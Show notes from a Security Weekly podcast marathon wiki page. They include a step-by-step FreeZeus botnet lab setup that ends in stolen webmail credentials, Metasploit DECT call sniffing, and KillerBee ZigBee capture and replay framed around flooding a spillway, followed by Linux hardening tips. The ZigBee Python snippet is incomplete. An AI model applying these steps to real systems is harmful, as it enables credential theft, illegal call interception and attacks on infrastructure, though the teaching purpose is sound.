From Security Weekly Wiki
Jump to navigationJump to search

Breast Cancer Research Foundation
Breast Cancer Fund

Click the images to donate now!

Watch the show live below or at http://securityweekly.com/live August 31, 2012 10AM-6PM EDT

Error in widget UStreamLive: Unable to load template 'wiki:UStreamLive'

NOTE: The video will play the most recent show up until we are live!


In lieu of sponsors, we are asking for donations towards Hackers for Charity.

The HFC group:

  • Feeds children through a "food for work" program.
  • Builds computer labs to help students learn skills and land jobs that are key to disrupting poverty's vicious cycle.
  • Provides technical assistance to charities that can't afford IT services.
  • Provides job experience and references to the Ugandan volunteers.

You can donate or get more involved via the Hackers for Charity website.

Introduction, Announcements, & Shameless Plugs (9:00AM - 9:30AM)

Security Weekly - Episode 200 - For Friday June 4th, 2010

  • Pen Test Summit! - June 14-15, 2010. The 2010 SANS What Works in Penetration Testing & Vulnerability Assessment Summit features an agenda loaded with brand-new talks from the best penetration testers and vulnerability assessment thought leaders in the world. This must-see event lets attendees interact directly with industry leaders, discussing tough technical and operational issues to get the most value from penetration testing and vulnerability assessment expenditures.
  • Show production format changes, web site, email list, etc...

Lenny Zeltser (9:30AM-10:00AM)

We'll start the morning off right with the breakfast of champions: malware analysis, in particular how to analyze malicious document files, such as Microsoft Office and Adobe PDF documents.

Lenny's cheat sheet on analyzing malicious documents that summarizes the tools and techniques discussed on the podcast today.

Episode Media

mp3 p1

mp3 p2

mp3 p3

mp3 p4

mp3 p5

mp3 p6

mp3 p7

Johnny Long (10:00AM-11:00AM)


  1. Why did you decide to start Hackers For Charity?
  2. What's the day to day like in Uganda?
  3. What types of things are you doing to help people?
  4. Do you run into much opposition from local officials for your work? (i.e., how bad is corruption there?).
  5. Do you have any stories to tell about how your graduates have done?

Tenable Network Security: Ron Gula, CEO (11:00AM-11:30AM)

Core Security Technologies: Anthony Alves (11:30AM-12:00PM)

Cigar Lunch (12:00PM-12:30PM)

Interview with Paul Joyal himself, information about cigar smoking and the cigar he created called "The Grotto Series"


For information about ordering cigars:

90 W Warwick Ave West Warwick, RI 02893

Phone: 401-822-0536

Email: mrjshavana [at] aol.com

Break (12:30PM-1:00PM)

Computer destruction!

Surprise Tech Segment (1:00PM-2:00PM) with Dennis Brown

Setting up a FreeZeus Botnet in a VM Lab

Zeus is the most popular crimeware toolkit, and it can be invaluable to work with it from the perspective of the hacker. In a safe environment, it can be examined to understand its inner workings, used to get an idea of the potential for data theft on your network, and to help understand if your defenses against it are adequate.

We'll be focusing on setting up FreeZeus, a hacked version of Zeus that appeared in the underground in April, 2010. This version of Zeus, as with all versions, is not to be trusted on any systems with any sensitive or personal info, and should not connected to the Internet for any longer than necessary, if at all. Please consider the risk to your setup before processing.

For this setup, we'll need 2 virtual machines (or real hardware, if you wish): - A Windows VM - XP SP2 works great, but any version up through Windows 7 should work fine - A Ubuntu Server VM - Configured for the LAMP package - Any webserver with MySQL and PHP will work, so use what you know best - Will need a new user and database in MySQL to install the web control panel

Once you've acquired FreeZeus (its available, just need to look for it), you'll see something like the following files in it:


Setting up the web control panel: - This is the Command and Control interface to Zeus - Copy the contents of FreeZS-panel to the public_html directory on the web server - Browse to http://WEBSERVER_IP/install/index.php - This is the configuration screen of the web server


- The following options need to be set - Root User: This is the login/password for the web control panel - MySQL Server: This is the username, password, and database created when setting up the VM - Local Folders: A local directory to store logs to - Bot timeout: How often the control panel will wait before checking the status of a bot - Encryption key: For FreeZeus, this needs to be set to: anonymous - Enable write reports to databse/local path: Where you want to store logs to - Once this is complete, click Install

Setting up the config file - The official Zeus builder, ConfigurationBuilder/zsb.exe, is used to set up the config file - First, open ConfigurationBuilder/config.txt - Set the following fields under DynamicConfig - url_loader - This is the URL of the bot we'll be ultimately creating. Change EDIT_THIS to the IP of your web server - url_server - This is the URL of the C&C server. Change EDIT_THIS to the IP of your web server. Gate.php is the script all bots talk to, but this can be renamed both here and on the webserver. - Other options are up to the user to decide, but for a lab environment, the defaults are fine - Run zsb.exe


- Click on the Builder option on the menu - Browse to the config file we just modified - Click Build the bot configuration - Upload the file it creates to the web server

Creating the bot executable - The FreeZeus builder is usually named something like FreeZeusBuilder.exe or ZeusBuilder.exe - Most options in this file are not able to be changed. Remember, we're using shady software here :)


- Pick the Bot version. They have different options, but for a test lab, the decision isn't important. - Change url_config to the URL of the config file uploaded in the previous section. - Change url_compip to the URL of your server, but keep the /ip.php at the end. This is used by the server to track the IP addresses of infected hosts. - Click Build - Upload the executable it creates to the web server

Testing the bot! - In the Windows VM, download and run the executable created in the previous step. - Browse to the control panel, which can be found at http://WEBSERVER_IP/cp.php - Log in with the credentials created earlier - If all goes well, you should see 1 bot in the network! - If this bot isn't found, double check all the configuration options, and make sure the URLs are correct - Also, check web server logs. These can often show if there is a typo, or if the connection isn't being made in the first place. - The FreeZeus control panel is modified to log any connections it sees with fields like "user" and "pass" - Makes for very easy testing. Try logging into a throwaway webmail account, like hotmail. - Click on Search in Database or Search in Files in the control panel - Click on your bot, and you should see data that has been transmitted, including the webmail password - If this all works, congrats, you have a working Zeus botnet in a lab. Be careful, but enjoy exploring!

Metasploit Mega-Tech Segment with HD Moore (2:00PM-3:00PM)

  • Using Metasploit in the Enterprise
  • Metasploit Development & Post-Exploitation
  • Client-side Exploitation
  • Working With Payloads
  • Metasploit & Wireless Penetration Testing

..And now for something completely wireless…and different!

Paul asked me to come up with a segment on using Metasploit for wireless. I thought about it, and figured, oh, wireless that means karmetasploit! Well karmetasploit has been done. I figured I'd talk about what to do with the information that we get from karmetasploit. We'll that's been done by many - much of what we get is credentials.

So, here is something different: Sniffing DECT phones with metasploit, with a largely overlooked auxiliary module.

First things first, you do need to have the dedected.org COM-ON-AIR driver working with your card. We covered this in episode 158, so co check that out. Once it works, go get metasploit (we're using 3.4 here) and let's get rolling:

Fire up msfconsole and we are off.

Lets use the DECT call sniffing module that looks for calls, and begins recording the, Insert the warnings about the illegality of recording phone calls here.

msf > use auxiliary/scanner/dect/call_scanner 

Let's display our options:

msf auxiliary(call_scanner) > show options

Module options:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BAND       2                yes       DECT band
   CHAN       0                no        DECT channel
   INTERFACE  /dev/coa         yes       The name of the Com-On-Air Interface
   RFPI                        no        RFPI for synchronous scan
   VERBOSE    true             no        Print out verbose information during the scan

Some items to note here are the BAND options, which we want to be set to 2 here in the US, or 1 in europe. Of course to be thorough, we could use BAND 3 to search both bands. We also want to be sure that we have VERBOSE set to true:

msf auxiliary(call_scanner) > set BAND 3
msf auxiliary(call_scanner) > set VERBOSE true

Now we kick it off:

msf auxiliary(call_scanner) > run

[*] Opening interface: /dev/coa
[*] Using band: 2
[*] Changing to call scan mode.
[*] Scanning...
[*] Switching to channel: 24
[*] Switching to channel: 25
[*] Switching to channel: 26
[*] Switching to channel: 27
[*] Switching to channel: 23
[*] Switching to channel: 24
[*] Switching to channel: 25
[*] Switching to channel: 26
^C[*] Closing interface
[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
msf auxiliary(call_scanner) > 

It does require us to tie up our console at the moment, so when we are done, we have to terminate it with a CTRL-C.

Unfortunately I could not get any output form my DECT phone at home, but I'll have to try during the day at the studio during episode 200…

Security Weekly Episode 200 Show (3:00PM-5:00PM)

Tech Segment: ZigBee For Beginners

Recently I've taken an interest in playing with some Zigbee stuff, thanks to the QuahogCon folks, and Josh Wright's talk on Zigbee. So, why is this tech segment entitled "for beginners? Well, quite frankly, I'm just beginning to start too.

So, what's to love with ZigBee?

- It is being found in more and more implementations, such as Smart Meters. What's cooler than hacking infrastructure?

- The hardware to sniff and inject packets is relatively inexpensive; one dongle is $40, but from the way I understand it, if you want to sniff and inject you'll need two dongles. This has the added feature of having your own lab in a box for $80. Unfortunately, in order to inject packets, you need custom firmware for one dongle. While the firmware is free, the dongle needs a programmer and adapter which run about $350. There are ways around this…

- This technology has been around a while, but it is just starting to find more mainstream applications. Getting in now means the fun stuff is just getting started.

- The packets are only 128 bytes long. That makes, in most cases, analyzing the packets particularly easy, given the small data area. I'd also imagine that it would be relatively easy to fuzz…

- The medium is particularly prone to attacks that were in vogue 10 years ago. Replay attacks? Yeah, they work. Encryption? Sure. Often the key is sent OTA, which we can sniff and replay.

- Understanding 802.15 PHY is the basis to understanding the subsequent MAC layer and higher - Zigbee is just one implementation - theres also 6lowpan, and Z-Wave

Ok, we now know what to love. How do we use it get crackin'?

Thanks to an awesome dude named Josh Wright, we have a suite of tools for interacting with our $40 adapter for injection. That suite of tools is called Killer Bee.

First we need to find a device…in the wild of course! For this we will use a gui app:

# ./zbfind

This will give us a nice little display, similar to the concepts of kismet to passively (or actively) listen for Zigbee devices, while channel hopping.

Once we've found one, lets capture some traffic!

We want to be sure to determine which device is which. KillerBee is able to detect which to use, but it becomes more important when we want to sniff and inject at the same time. Simple enough, let's use zbid:

# ./zbid
Dev	Product String	Serial Number
002:002	KILLERB001	4EAD17FFFF25

Now to dump some traffic:

# ./zbdump -f 26 -w capture.pcap -i 002:002
zbdump: listening on '002:002', link-type DLT_IEEE802_15_4, capture size 127 bytes
^C 2 packets captured

In this case -f is the channel number (as determined from our location finding), -w is our output pcap file and -i is our Zigbee interface. We will note that during live capture we do not see any output, and only when we do a ctrl-C do we have any indication that there were packets captured. **(We could monitor the file size in another terminal?). Now it is time to wait for commands to be sent over the air. This could take a while. Think about how often that commands might be sent to opening a spillway 10 degrees, or how often that you may send commands to a thermostat to change a few degrees…

Woohoo! We have packets! Let's take a look at them…in Wireshark!

$ wireshark capture.pcap

Sample output:

No.     Time        Source                Destination           Protocol Info
      1 0.000000                                                IEEE 802.15.4 Reserved

Frame 1 (19 bytes on wire, 19 bytes captured)
    Arrival Time: May 30, 2010 21:03:59.000019000
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 0.000000000 seconds]
    Frame Number: 1
    Frame Length: 19 bytes
    Capture Length: 19 bytes
    [Frame is marked: False]
    [Protocols in frame: wpan]
IEEE 802.15.4 Reserved
    Frame Control Field: Unknown (0x161e)
        .... .... .... .110 = Frame Type: Unknown (0x0006)
        .... .... .... 1... = Security Enabled: True
        .... .... ...1 .... = Frame Pending: True
        .... .... ..0. .... = Acknowledge Request: False
        .... .... .0.. .... = Intra-PAN: False
        .... 01.. .... .... = Destination Addressing Mode: Unknown (0x0001)
        ..01 .... .... .... = Frame Version: 1
        00.. .... .... .... = Source Addressing Mode: None (0x0000)
    Sequence Number: 18
    [Expert Info (Error/Malformed): Invalid Destination Address Mode]
        [Message: Invalid Destination Address Mode]
        [Severity level: Error]
        [Group: Malformed]

No.     Time        Source                Destination           Protocol Info
      2 1.000057                          0x4cea                IEEE 802.15.4 Data, Dst: 0x4cea

Frame 2 (19 bytes on wire, 19 bytes captured)
    Arrival Time: May 30, 2010 21:04:00.000076000
    [Time delta from previous captured frame: 1.000057000 seconds]
    [Time delta from previous displayed frame: 1.000057000 seconds]
    [Time since reference or first frame: 1.000057000 seconds]
    Frame Number: 2
    Frame Length: 19 bytes
    Capture Length: 19 bytes
    [Frame is marked: False]
    [Protocols in frame: wpan:data]
IEEE 802.15.4 Data, Dst: 0x4cea
    Frame Control Field: Data (0x1b09)
        .... .... .... .001 = Frame Type: Data (0x0001)
        .... .... .... 1... = Security Enabled: True
        .... .... ...0 .... = Frame Pending: False
        .... .... ..0. .... = Acknowledge Request: False
        .... .... .0.. .... = Intra-PAN: False
        .... 10.. .... .... = Destination Addressing Mode: Short/16-bit (0x0002)
        ..01 .... .... .... = Frame Version: 1
        00.. .... .... .... = Source Addressing Mode: None (0x0000)
    Sequence Number: 24
    Destination PAN: 0x8829
    Destination: 0x4cea
    [Expert Info (Warn/Undecoded): Encrypted Payload]
        [Message: Encrypted Payload]
        [Severity level: Warn]
        [Group: Undecoded]
    FCS: 0x002a (Correct)
Data (10 bytes)

0000  ae 10 72 d4 36 98 fa 5c be 7a                     ..r.6..\.z
    Data: AE1072D43698FA5CBE7A
    [Length: 10]

Now that we are looking, the data portion will often be that in which we are interested. If we are able to capture enough traffic, we may be able to determine some interesting things about packet content…

Let's go for the replay attack. Why you ask? Well, what happens in the spillway example? Say we open the spillway 1 degree, which takes one specific packet. In order to open it 10 degrees, we send the same packet 10 times. Ok, we are in possession of the packet, so lets replay it to open the spillway 180 degrees, causing flooding…

Here's how we replay

# ./zbreplay -f 26 -r capture.pcap
zbreplay: retransmitting frames from 'capture.pcap' on interface '002:002' with a delay of 1.000000 seconds.
1 packets transmitted

Where -f is the channel number previously determined and -r is the pcap we want to replay. We could of course add this with a for loop inside of a script.

On another note, what happens if we have a one packet that we need to replay in a capture of several packets? Let's used editcap to split that packet out into a standalone pcap file:

$ editcap -r capture.pcap singlepacket.pcap 2

Where -r indicated the action of inclusion of packets (instead of the exclusion of packets) then inout file, output file and the list of packets to export, in this case, packet number 2 form the original pcap.

Additionally, if killerbee is properly installed in the python environment (which you needed to do for using these tools), we can create a python script to use the killerbee libraries to send just the specified data payload on out specified channel. Here is an example with some packet content from Josh's QuahogCon badge pwnage script, that sends the packet 5 times for good measure:

from killerbee import *
import sys

packetcontent = "\xFF\x00\x63\x03\x65\xd9\x3d\x91\xf5\x29\x8d\xe1\x45\xb9\x1d\x71\x00\x2c\x00",
    kb = KillerBee()
        for i in xrange(0,5):

Ok, now that we have the basics, lets get hunting and hacking!

Tech Segment: Hardening Linux

First things first, I believe that hardening is important. We've lost site of this age old practice and let our guard down. We put too much confidence in things such as firewalls, intrusion detection/prevention, encryption, and often think "it won't happen to me". When you harden a system you have to take into account two things:

1) What do I need this system to do?

2) What if "it" did happen to me?

The first consideration is what makes hardening a personal matter. Different systems across your organization, and especially across other organizations, are going to be configured to do different things. Their requirements are completely separate, and therefore so is hardening guidelines. The CIS benchmarks are a good place to start, but you MUST tune it according to your environment and purpose given to each system. Now thats not to say we can't have standards and "best practice". Think of standards like table manners. Sure, depending on the setting you will employ a different set of table manners. At a cookout, its typically perfectly acceptable to use your hands to eat (burgers, ribs, potato salad are examples). However, at a 5-star steak resturant pickink up that t-bone and chomping on it may not be the greatest idea to impress your clients. However, there are some rules that apply no matter where you are eating, such as putting your hands in someone elses dish or passing gas at the dinner table.

So what follows is somewhere between flatchulance and eating with your hands:

Remote Access

A general rule of thumb is that remote access should be:

- restricted to a select number of IP addresses - never allowing an administrative or root-level user to login remotely directly - Avoiding passwords at all costs in favor of keys or some other kind of non-password based authentication - Use a solid form of encryption

I prefer to use SSH and harden it as I outline in a previous tech segment. I'd add another layer that requires a sudo password in order to become root. You can even create another non-root account that does have access to sudo to root. This would now require 3 passwords:

1 password for your SSH key 1 password for your user account (needed to sudo to the account that can sudo to root) 1 password for your account that can sudo to root

Three passwords and a key is a great way to lock down access to your system

Leave As Few Services Running As Possible

This is still a good practice to follow. I typically strip out any inetd or xinetd daemons and packages. They seem to exist to run silly things such as time, discard, chargen, etc... In the past several years I've never needed these services to run. Also, use the "netstat" and "lsof" programs liberally and check for IPv6 as well!

I tend to disable IPv6 on systems, for example in Ubuntu 9.04:

/etc/default/grub add the line:


Note: Interesting note on grub v2, currently there is no way in the stable code to set a boot loader password! Crazy as it sounds, this is what my research has shown.

See Command Line Kung Fu: Search Term "netstat" for more information.

Remove the compilers and other tools when done

So many times I've compromised a system and used the tools already installed to further gain a foothold. Three Examples:

1) netcat - If netcat is already on the system and I gain remote command execution via a web app my job is MUCH easier. We love netcat, but keep it on your laptop for hacking, not on your production servers.

2) gcc - I got shell, w00t! Now I can start my pen test, but I really want to be root. I got this great priv exec exploit, and thatnkfully a compiler has already been installed! Remove "build-essential" when done., as forcing an attacker to install tools leaves more opportunity to detect an attacker.

3) perl script - I once saw a simple Perl script take down an entire network. A web server had some vulnerabilities that allowed file upload. An attacker uploaded a Perl script that was a bot, and had the capability to send a UDP DoS attack. This attack caused the firewall to melt, and all services for the organization to become unavailable. If you don't need Perl and other such utilities, remove them.

Check Permissions

This could be a tech segment in and of itself! Permissions are important, consider this example:

If a Linux startup script in /etc/init.d (Which runs as root at system startup) were to call a binary that is owned by a non-root user, its game over. I had this at CCDC and didn't figure it out until it was too late. There was a startup script for Nagios that called a binary owned by the nagios user. The teams had systems configured with a user/pass pair of nagios/nagios. They couldn't change it fast enough and the red team was in. Little did we know that all we had to do was swap out a binary for a shell script, then anything in that shells script could be executed as root after a reboot.

There are TONS of example of this, and most hardening guidelines go into detail. These are important details and sometimes the distribution, and more likely a software package, gets file system permissions wrong.


  1. Samsung Wave shipping with infected microSD card - [Mike ] - (confirmed limited to first run)
  2. Smartcard Reader hacked - [Larry] - No big deal, right? Well, no case cracking needed, just a windows tool that updates firmware and bootloader, to bypass the firmware signing. This means that the device could record card and pin numbers and noone would be the wiser.
  3. Win2k getting owned - [Larry] - I should hope so! Seriously, after the bungled Windows Media Service patch (MS010-025), attackers started hunting those machines down. According to Symantec, the attackers aren't using the exploit in Metasploit - someone made their own exploit.
  4. PIN fail - [Larry] - You think that PIN on your iPhone keeps you safe? Maybe. In certain circumstances, such as powering off your unlocked iPhone. On boot it is possible to attach to the phone before the security service starts and take a disk image of the phone, with cleartext passwords, contacts, etc. Formerly, the iPhone needed to be jailbroken, but no more.
  5. Man injected with computer Virus - [Larry] - Now THAT's what I'm talkin' 'bout Willis! Ok, so the story has been a little bit sensationalized. The gentleman injected himself with a writeable RFID tag, on which was written some Javascript "exploit code". No not really a virus. No, not something that can infect a reader, but is something that could exploit computers upstream at the admin interface.
  6. Oooh, TABjacking - [Larry] - Leaving tabs open on your browser leaves you open to attack. Through JavaScript, when the tab is in the background, it changes the page title, favicon and content to that of a popular but now malicious website, where you plug in your credentials.
  7. Router Password recovery - [Larry] - Nice, a windows tool for recovering the home router passwords from several mufaturers and models (expanding all the time), from the backup config files.
  8. Hacking the car, ODBII style - [Larry] - Jack, I'm looking at you buddy.

Other Stories Of Interest